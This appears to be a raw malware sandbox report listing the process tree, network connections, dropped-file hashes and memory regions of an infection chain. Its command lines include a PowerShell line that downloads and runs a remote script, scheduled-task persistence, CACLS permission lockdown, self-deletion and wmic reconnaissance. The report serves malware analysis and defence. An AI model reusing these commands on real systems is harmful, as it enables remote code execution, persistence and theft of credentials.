C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe

"C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN legenda.exe /TR "C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe" /F

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "legenda.exe" /P "Admin:N"&&CACLS "legenda.exe" /P "Admin:R" /E&&echo Y|CACLS "..\f22b669919" /P "Admin:N"&&CACLS "..\f22b669919" /P "Admin:R" /E&&Exit

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\cacls.exe

CACLS "legenda.exe" /P "Admin:N"

C:\Windows\SysWOW64\cacls.exe

CACLS "legenda.exe" /P "Admin:R" /E

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\f22b669919" /P "Admin:N"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\f22b669919" /P "Admin:R" /E

C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe

"C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe" >> NUL

C:\Windows\SysWOW64\PING.EXE

ping 127.0.0.1

C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe

"C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe"

C:\Users\Admin\AppData\Local\Temp\1000118001\svchost.exe

"C:\Users\Admin\AppData\Local\Temp\1000118001\svchost.exe"

C:\Windows\SysWOW64\Wbem\wmic.exe

wmic os get Caption

C:\Windows\SysWOW64\cmd.exe

cmd /C "wmic path win32_VideoController get name"

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\SysWOW64\cmd.exe

cmd /C "wmic cpu get name"

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic cpu get name

C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe

C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3920 -ip 3920

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3920 -s 692

C:\Windows\SysWOW64\rundll32.exe

"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main

C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe

C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 93.184.221.240:80 tcp
US 8.8.8.8:53 199.176.139.52.in-addr.arpa udp
US 8.8.8.8:53 37.146.190.20.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
DE 193.233.20.30:4125 tcp
US 8.8.8.8:53 30.20.233.193.in-addr.arpa udp
US 8.8.8.8:53 210.81.184.52.in-addr.arpa udp
US 20.189.173.3:443 tcp
US 93.184.220.29:80 tcp
US 8.8.8.8:53 216.74.101.95.in-addr.arpa udp
DE 193.233.20.30:4125 tcp
US 8.8.8.8:53 62.13.109.52.in-addr.arpa udp
RU 62.204.41.87:80 62.204.41.87 tcp
US 8.8.8.8:53 www.mdegmm.com udp
US 8.8.8.8:53 87.41.204.62.in-addr.arpa udp
US 162.248.50.116:443 www.mdegmm.com tcp
US 8.8.8.8:53 116.50.248.162.in-addr.arpa udp
US 8.8.8.8:53 188.155.64.172.in-addr.arpa udp
US 8.8.8.8:53 ebfertility.com udp
US 162.248.50.116:443 www.mdegmm.com tcp
US 89.190.157.61:80 ebfertility.com tcp
US 8.8.8.8:53 61.157.190.89.in-addr.arpa udp
US 162.248.50.116:443 www.mdegmm.com tcp
NL 185.246.221.126:80 185.246.221.126 tcp
LV 195.123.211.54:80 195.123.211.54 tcp
US 8.8.8.8:53 126.221.246.185.in-addr.arpa udp
US 8.8.8.8:53 54.211.123.195.in-addr.arpa udp
NL 212.87.204.93:8081 tcp
US 93.184.221.240:80 tcp
US 8.8.8.8:53 93.204.87.212.in-addr.arpa udp
NL 173.223.113.164:443 tcp
NL 173.223.113.131:80 tcp
US 204.79.197.203:80 tcp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe

MD5 85cbd9915cdf69a665af09772776836f
SHA1 2bdda7bd13bd1e09944115a728b5c0b6e05e72be
SHA256 201e464a540cf642b99377299c8482ddab50f0b473f7699988ac5303a1bb21c9
SHA512 77ab219295565312a7f9d301f45f403c35824d2e771a86ea5ba0666d5d5f76aef40c6d13564d8da236262f44e3a029de652d745a7309008bd4291f3d6a9733c8

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe

MD5 85cbd9915cdf69a665af09772776836f
SHA1 2bdda7bd13bd1e09944115a728b5c0b6e05e72be
SHA256 201e464a540cf642b99377299c8482ddab50f0b473f7699988ac5303a1bb21c9
SHA512 77ab219295565312a7f9d301f45f403c35824d2e771a86ea5ba0666d5d5f76aef40c6d13564d8da236262f44e3a029de652d745a7309008bd4291f3d6a9733c8

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe

MD5 cc11bb8d75a5d4a53739a5c953a2e6ee
SHA1 4ae897be11dbbb628544323e4a1689ba3039ec5b
SHA256 2ee54add2a4dcae08ba9e76436350e98f8139944219772bdbb00c21f2490b589
SHA512 5bc26e53b41cf438797b08828ce252c585d1bb5e34569d2cf794ec89c6de90b36c6af09ee00e79727b2f42ac6cdf86e82ecf433ec4586dad44a8667c25ac1c45

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe

MD5 cc11bb8d75a5d4a53739a5c953a2e6ee
SHA1 4ae897be11dbbb628544323e4a1689ba3039ec5b
SHA256 2ee54add2a4dcae08ba9e76436350e98f8139944219772bdbb00c21f2490b589
SHA512 5bc26e53b41cf438797b08828ce252c585d1bb5e34569d2cf794ec89c6de90b36c6af09ee00e79727b2f42ac6cdf86e82ecf433ec4586dad44a8667c25ac1c45

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exe

MD5 64b797b538daa1b757a97f62921daa63
SHA1 acb4efe007590df734f62d360aae342b82f54360
SHA256 d577d1e7817985f1cac810ded56212a000cdd93908be8a99a537b0d538162262
SHA512 91f492fcd66a7e4381df1167ce0227759f1f3f25f2dec0449451e449fadd6ff0a65fd1762b06b732828d4ad3df36d54e99b2ed84141a3dd7f78bd27f4ba42c48

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exe

MD5 64b797b538daa1b757a97f62921daa63
SHA1 acb4efe007590df734f62d360aae342b82f54360
SHA256 d577d1e7817985f1cac810ded56212a000cdd93908be8a99a537b0d538162262
SHA512 91f492fcd66a7e4381df1167ce0227759f1f3f25f2dec0449451e449fadd6ff0a65fd1762b06b732828d4ad3df36d54e99b2ed84141a3dd7f78bd27f4ba42c48

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe

MD5 7e93bacbbc33e6652e147e7fe07572a0
SHA1 421a7167da01c8da4dc4d5234ca3dd84e319e762
SHA256 850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38
SHA512 250169d7b6fcebff400be89edae8340f14130ced70c340ba9da9f225f62b52b35f6645bfb510962efb866f988688cb42392561d3e6b72194bc89d310ea43aa91

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe

MD5 7e93bacbbc33e6652e147e7fe07572a0
SHA1 421a7167da01c8da4dc4d5234ca3dd84e319e762
SHA256 850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38
SHA512 250169d7b6fcebff400be89edae8340f14130ced70c340ba9da9f225f62b52b35f6645bfb510962efb866f988688cb42392561d3e6b72194bc89d310ea43aa91

memory/320-161-0x0000000000AF0000-0x0000000000AFA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe

MD5 d022dfbd4829659cac3e7e5551792c43
SHA1 8bc7774ee827e27562b85bacac02a4acf834b23b
SHA256 620465a25de715cf5f014883296e5f68abc0a5e8fb2554cd49edd8f39cf48bc9
SHA512 1d8c854db5607ac9586a4c28378d8527b71bda8a5d2f95e657bfd8b0834212d1e2688f80e8c256cff34ae50eb39e1e320db6bfb71108fc9061ecb44da5aefa61

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe

MD5 d022dfbd4829659cac3e7e5551792c43
SHA1 8bc7774ee827e27562b85bacac02a4acf834b23b
SHA256 620465a25de715cf5f014883296e5f68abc0a5e8fb2554cd49edd8f39cf48bc9
SHA512 1d8c854db5607ac9586a4c28378d8527b71bda8a5d2f95e657bfd8b0834212d1e2688f80e8c256cff34ae50eb39e1e320db6bfb71108fc9061ecb44da5aefa61

memory/4568-167-0x00000000007F0000-0x000000000081D000-memory.dmp

memory/4568-168-0x0000000004DF0000-0x0000000005394000-memory.dmp

memory/4568-169-0x0000000002930000-0x0000000002942000-memory.dmp

memory/4568-170-0x0000000002930000-0x0000000002942000-memory.dmp

memory/4568-172-0x0000000002930000-0x0000000002942000-memory.dmp

memory/4568-174-0x0000000002930000-0x0000000002942000-memory.dmp

memory/4568-176-0x0000000002930000-0x0000000002942000-memory.dmp

memory/4568-178-0x0000000002930000-0x0000000002942000-memory.dmp

memory/4568-180-0x0000000002930000-0x0000000002942000-memory.dmp

memory/4568-182-0x0000000002930000-0x0000000002942000-memory.dmp

memory/4568-184-0x0000000002930000-0x0000000002942000-memory.dmp

memory/4568-186-0x0000000002930000-0x0000000002942000-memory.dmp

memory/4568-188-0x0000000002930000-0x0000000002942000-memory.dmp

memory/4568-190-0x0000000002930000-0x0000000002942000-memory.dmp

memory/4568-192-0x0000000002930000-0x0000000002942000-memory.dmp

memory/4568-194-0x0000000002930000-0x0000000002942000-memory.dmp

memory/4568-196-0x0000000002930000-0x0000000002942000-memory.dmp

memory/4568-197-0x0000000004DE0000-0x0000000004DF0000-memory.dmp

memory/4568-198-0x0000000004DE0000-0x0000000004DF0000-memory.dmp

memory/4568-199-0x0000000004DE0000-0x0000000004DF0000-memory.dmp

memory/4568-200-0x0000000000400000-0x000000000071D000-memory.dmp

memory/4568-202-0x0000000004DE0000-0x0000000004DF0000-memory.dmp

memory/4568-203-0x0000000004DE0000-0x0000000004DF0000-memory.dmp

memory/4568-204-0x0000000004DE0000-0x0000000004DF0000-memory.dmp

memory/4568-205-0x0000000000400000-0x000000000071D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w12dE63.exe

MD5 703f36c4c7e3319f09e6caff28c40cbc
SHA1 4140e276e8bcde8fa18dbf4171bc67199b749d41
SHA256 5b0d4e0a1fcaa06043a23d5432efbb41e19bce9e95f15421f4cfc1aef7ee9233
SHA512 b59d6e66a5e2b828fcb6102565f0dc0656ea6e2a7eaaaf3f843a63c725468bd8bc39134efa8e3b997f233970d5e4223f2dbb36d34146babbba13916b5f1febe3

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w12dE63.exe

MD5 703f36c4c7e3319f09e6caff28c40cbc
SHA1 4140e276e8bcde8fa18dbf4171bc67199b749d41
SHA256 5b0d4e0a1fcaa06043a23d5432efbb41e19bce9e95f15421f4cfc1aef7ee9233
SHA512 b59d6e66a5e2b828fcb6102565f0dc0656ea6e2a7eaaaf3f843a63c725468bd8bc39134efa8e3b997f233970d5e4223f2dbb36d34146babbba13916b5f1febe3

memory/2880-211-0x00000000028F0000-0x000000000292E000-memory.dmp

memory/2880-210-0x00000000028F0000-0x000000000292E000-memory.dmp

memory/2880-213-0x00000000028F0000-0x000000000292E000-memory.dmp

memory/2880-215-0x00000000028F0000-0x000000000292E000-memory.dmp

memory/2880-217-0x00000000028F0000-0x000000000292E000-memory.dmp

memory/2880-219-0x00000000028F0000-0x000000000292E000-memory.dmp

memory/2880-221-0x00000000028F0000-0x000000000292E000-memory.dmp

memory/2880-223-0x00000000028F0000-0x000000000292E000-memory.dmp

memory/2880-225-0x00000000028F0000-0x000000000292E000-memory.dmp

memory/2880-227-0x00000000028F0000-0x000000000292E000-memory.dmp

memory/2880-229-0x00000000028F0000-0x000000000292E000-memory.dmp

memory/2880-231-0x00000000028F0000-0x000000000292E000-memory.dmp

memory/2880-233-0x00000000028F0000-0x000000000292E000-memory.dmp

memory/2880-235-0x00000000028F0000-0x000000000292E000-memory.dmp

memory/2880-237-0x00000000028F0000-0x000000000292E000-memory.dmp

memory/2880-239-0x00000000028F0000-0x000000000292E000-memory.dmp

memory/2880-241-0x00000000028F0000-0x000000000292E000-memory.dmp

memory/2880-243-0x00000000028F0000-0x000000000292E000-memory.dmp

memory/2880-391-0x0000000002960000-0x0000000002970000-memory.dmp

memory/2880-393-0x0000000002960000-0x0000000002970000-memory.dmp

memory/2880-389-0x0000000000830000-0x000000000087B000-memory.dmp

memory/2880-394-0x0000000002960000-0x0000000002970000-memory.dmp

memory/2880-1120-0x00000000054E0000-0x0000000005AF8000-memory.dmp

memory/2880-1121-0x0000000005B40000-0x0000000005C4A000-memory.dmp

memory/2880-1122-0x0000000005C50000-0x0000000005C62000-memory.dmp

memory/2880-1123-0x0000000002960000-0x0000000002970000-memory.dmp

memory/2880-1124-0x0000000005C70000-0x0000000005CAC000-memory.dmp

memory/2880-1125-0x0000000005F60000-0x0000000005FF2000-memory.dmp

memory/2880-1126-0x0000000006000000-0x0000000006066000-memory.dmp

memory/2880-1127-0x0000000006700000-0x0000000006776000-memory.dmp

memory/2880-1128-0x0000000006790000-0x00000000067E0000-memory.dmp

memory/2880-1130-0x0000000002960000-0x0000000002970000-memory.dmp

memory/2880-1131-0x0000000002960000-0x0000000002970000-memory.dmp

memory/2880-1132-0x0000000002960000-0x0000000002970000-memory.dmp

memory/2880-1133-0x0000000002960000-0x0000000002970000-memory.dmp

memory/2880-1134-0x0000000006A60000-0x0000000006C22000-memory.dmp

memory/2880-1135-0x0000000006C30000-0x000000000715C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xosxF25.exe

MD5 3389637c0d072121bf1b127629736d37
SHA1 300e915efdf2479bfd0d3699c0a6bc51260f9655
SHA256 2b74c4ce2674a8fc0c78fffa39c5de5e43ae28b8bf425349a5f97c6a61135153
SHA512 a32cc060d2600f6ca94ffdce07c95ea5e2f56c0b418260456b568cb41e5f55db0c4fc97c35ca4103c674e61a17300d834d2c0da5a78b7084b6bc342fd23a7fb4

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xosxF25.exe

MD5 3389637c0d072121bf1b127629736d37
SHA1 300e915efdf2479bfd0d3699c0a6bc51260f9655
SHA256 2b74c4ce2674a8fc0c78fffa39c5de5e43ae28b8bf425349a5f97c6a61135153
SHA512 a32cc060d2600f6ca94ffdce07c95ea5e2f56c0b418260456b568cb41e5f55db0c4fc97c35ca4103c674e61a17300d834d2c0da5a78b7084b6bc342fd23a7fb4

memory/4204-1141-0x0000000000A30000-0x0000000000A62000-memory.dmp

memory/4204-1142-0x0000000005340000-0x0000000005350000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y91IN20.exe

MD5 5086db99de54fca268169a1c6cf26122
SHA1 003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA256 42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA512 90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y91IN20.exe

MD5 5086db99de54fca268169a1c6cf26122
SHA1 003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA256 42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA512 90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe

MD5 5086db99de54fca268169a1c6cf26122
SHA1 003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA256 42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA512 90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe

MD5 5086db99de54fca268169a1c6cf26122
SHA1 003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA256 42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA512 90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe

MD5 5086db99de54fca268169a1c6cf26122
SHA1 003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA256 42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA512 90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe

MD5 b5baf2e6261a1fb05bb2654c8d099dd6
SHA1 2a5b25fcb9e9f584d0a162b734c7dcc53c6e0550
SHA256 4a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d
SHA512 4ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3

C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe

MD5 b5baf2e6261a1fb05bb2654c8d099dd6
SHA1 2a5b25fcb9e9f584d0a162b734c7dcc53c6e0550
SHA256 4a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d
SHA512 4ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3

C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe

MD5 b5baf2e6261a1fb05bb2654c8d099dd6
SHA1 2a5b25fcb9e9f584d0a162b734c7dcc53c6e0550
SHA256 4a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d
SHA512 4ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_2DBE917624E9880FE0C7C5570D56E691

MD5 cb684ec7fe8555f949182c7423dafdc2
SHA1 ec49f7b4b777fa1da40af5328785782127ffc52c
SHA256 8e17b090e2d07abf04860e961e601d8c663d3eaafd16190e6e6b6a4f018c0b0e
SHA512 ef627ca15ac143710b707ce28bd0cbe3447446db64c61f89d78f7c868cad07bd267563a7927ac4cd733adf2da3d58dcfadba54f8e0bc78e06d79cd389b77e500

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_2DBE917624E9880FE0C7C5570D56E691

MD5 43891a09e3e2ad9794333bc987cf6262
SHA1 8a47777daafdf4c98b4b1142b2137611e5027d76
SHA256 10ca6a097066cfa8e9a3c7439b175df7df6f4e9e987c1f7a2627e6d8c9a0eed4
SHA512 751e5f0fd69840d6e908d6aee8072c70127c37b983797a39c522c1f6b6d447ac734977f648e67dac512bd065d5b26c3d2f2af1761d4d986a85883c1917e25136

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5080DC7A65DB6A5960ECD874088F3328_862BA1770B2FEE013603D2FF9ABEAFDA

MD5 e31cdfd605088b681011e1335a889366
SHA1 09467123a6068fdc9238ae07c9ceb9f8ad2973d4
SHA256 1b3e67b74644c202082c14ead4e83bbe90c0c7a9b4d9d255de3caeec75cabb12
SHA512 0b8181160a0a3bec546399c326d0470484ba0e4f1bbd8b0d968ec7a7e935285d4d4fed3451e87349bb530e7ed39cb6b2256688852e7a1f9c4311185df0ee9eba

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5080DC7A65DB6A5960ECD874088F3328_862BA1770B2FEE013603D2FF9ABEAFDA

MD5 fc88b7748eb4cd37ae886a1c0813e4cf
SHA1 23e30b76fc94f0467a3efad342a91a3b84ff1eea
SHA256 3d81e317f8816680185517d7719e51fdbcd5807f9c629c4e3d0408820ec458da
SHA512 bb8ffaa2e8e581aa8d9a2e39b5f16c784d1431b4c18acc71b8fea84a4982d13a8ed1e5cf295c459ca35d8d4604c050210e0771386e7fe57d35c5ccd41fb92211

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jdas4jlx.wcx.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1712-1187-0x00000247390C0000-0x00000247390E2000-memory.dmp

memory/1712-1192-0x000002471F4E0000-0x000002471F4F0000-memory.dmp

memory/1712-1193-0x000002471F4E0000-0x000002471F4F0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe

MD5 166d22ed93c723326a6d5fead162fdd3
SHA1 17cfd9649a4f68ef90c72689820876dbe4ca22d1
SHA256 e9879548658614428c01bc7c4878bc87d0e2ad57b3621a7aa614e89c32c388e7
SHA512 c871182afed08bcbd73ea86d058973afd2602481497f752d7da46aad4d9a09ea39911010832e3bf4b68f5cf7ac73300169efeeeefe82a68a897f543f7dfc96f4

C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe

MD5 166d22ed93c723326a6d5fead162fdd3
SHA1 17cfd9649a4f68ef90c72689820876dbe4ca22d1
SHA256 e9879548658614428c01bc7c4878bc87d0e2ad57b3621a7aa614e89c32c388e7
SHA512 c871182afed08bcbd73ea86d058973afd2602481497f752d7da46aad4d9a09ea39911010832e3bf4b68f5cf7ac73300169efeeeefe82a68a897f543f7dfc96f4

C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe

MD5 166d22ed93c723326a6d5fead162fdd3
SHA1 17cfd9649a4f68ef90c72689820876dbe4ca22d1
SHA256 e9879548658614428c01bc7c4878bc87d0e2ad57b3621a7aa614e89c32c388e7
SHA512 c871182afed08bcbd73ea86d058973afd2602481497f752d7da46aad4d9a09ea39911010832e3bf4b68f5cf7ac73300169efeeeefe82a68a897f543f7dfc96f4

memory/3920-1214-0x0000000000760000-0x000000000078E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000118001\svchost.exe

MD5 a8a106555b9e1f92569d623c66ee8c12
SHA1 a5080c26b5f5911c10d80654c84239a226fc75d1
SHA256 84aac7290471d6aa883962c2e739b44adcea7f533cc0317e8d0d6f847def1f7a
SHA512 9b9813b0b47e84523fc96cc427aa234d4533e77483ddf28dae35449570373370fdde4380877870aca634a9746b58743ea3c1d9ea31d7162d61d645ca58f60b26

C:\Users\Admin\AppData\Local\Temp\1000118001\svchost.exe

MD5 a8a106555b9e1f92569d623c66ee8c12
SHA1 a5080c26b5f5911c10d80654c84239a226fc75d1
SHA256 84aac7290471d6aa883962c2e739b44adcea7f533cc0317e8d0d6f847def1f7a
SHA512 9b9813b0b47e84523fc96cc427aa234d4533e77483ddf28dae35449570373370fdde4380877870aca634a9746b58743ea3c1d9ea31d7162d61d645ca58f60b26

C:\Users\Admin\AppData\Local\Temp\1000118001\svchost.exe

MD5 a8a106555b9e1f92569d623c66ee8c12
SHA1 a5080c26b5f5911c10d80654c84239a226fc75d1
SHA256 84aac7290471d6aa883962c2e739b44adcea7f533cc0317e8d0d6f847def1f7a
SHA512 9b9813b0b47e84523fc96cc427aa234d4533e77483ddf28dae35449570373370fdde4380877870aca634a9746b58743ea3c1d9ea31d7162d61d645ca58f60b26

C:\Users\Admin\AppData\Local\Temp\nJObCsNVlgTeMaPEZQleQYhYzRyWJjPj

MD5 92d24961d2ebaacf1ace5463dfc9930d
SHA1 99ffaf6904ab616c33a37ce01d383e4a493df335
SHA256 9013688dec264c615178e151c2eb5f0b2eb9fe8cfad867b311d8581d921c73f3
SHA512 77598c77f219ab5234b8b84bcfe873f40e7464b224fac3c8568b300d3f2563f7ef5ad9ec5cccc0d719e7d3e489a164b04b6b36316196afea0b8051de3c751cc7

C:\Users\Admin\AppData\Local\Temp\RzLNTXYeUCWKsXbGyRAOmBTvKSJfjzaL

MD5 dce9b749d38fdc247ab517e8a76e6102
SHA1 d6c5b6548e1a3da3326bd097c50c49fc7906be3f
SHA256 5087b8c7f2cecceac61d7bd02b939888cf2cc5a452676f28fd5c076eb1ae7ea7
SHA512 56c276f0a070da656c98520aa720994d78f1bf0bbb085a5f6fb4fd18fed2bbba1eb8e97b54d58eaa9a978d21d64678170f49c020feb19d8545d158a2d8d58446

memory/1712-1283-0x000002471F4E0000-0x000002471F4F0000-memory.dmp

memory/1712-1284-0x000002471F4E0000-0x000002471F4F0000-memory.dmp

memory/1712-1285-0x000002471F4E0000-0x000002471F4F0000-memory.dmp

memory/3920-1292-0x00000000001F0000-0x00000000001F2000-memory.dmp

memory/3920-1291-0x0000000000730000-0x000000000074C000-memory.dmp

memory/3920-1293-0x00000000001F0000-0x00000000001F3000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe

MD5 5086db99de54fca268169a1c6cf26122
SHA1 003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA256 42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA512 90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

memory/3920-1297-0x0000000000730000-0x000000000074C000-memory.dmp

C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll

MD5 94cbeec5d4343918fd0e48760e40539c
SHA1 a049266c5c1131f692f306c8710d7e72586ae79d
SHA256 48eb3ca078da2f5e9fd581197ae1b4dfbac6d86040addbb305e305c014741279
SHA512 4e92450333d60b1977f75c240157a8589cfb1c80a979fbe0793cc641e13556004e554bc6f9f4853487dbcfcdc2ca93afe610649e9712e91415ed3f2a60d4fec0

C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll

MD5 16cf28ebb6d37dbaba93f18320c6086e
SHA1 eae7d4b7a9636329065877aabe8d4f721a26ab25
SHA256 c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106
SHA512 f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2

C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll

MD5 16cf28ebb6d37dbaba93f18320c6086e
SHA1 eae7d4b7a9636329065877aabe8d4f721a26ab25
SHA256 c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106
SHA512 f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2

C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll

MD5 16cf28ebb6d37dbaba93f18320c6086e
SHA1 eae7d4b7a9636329065877aabe8d4f721a26ab25
SHA256 c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106
SHA512 f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2

C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe

MD5 5086db99de54fca268169a1c6cf26122
SHA1 003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA256 42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA512 90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5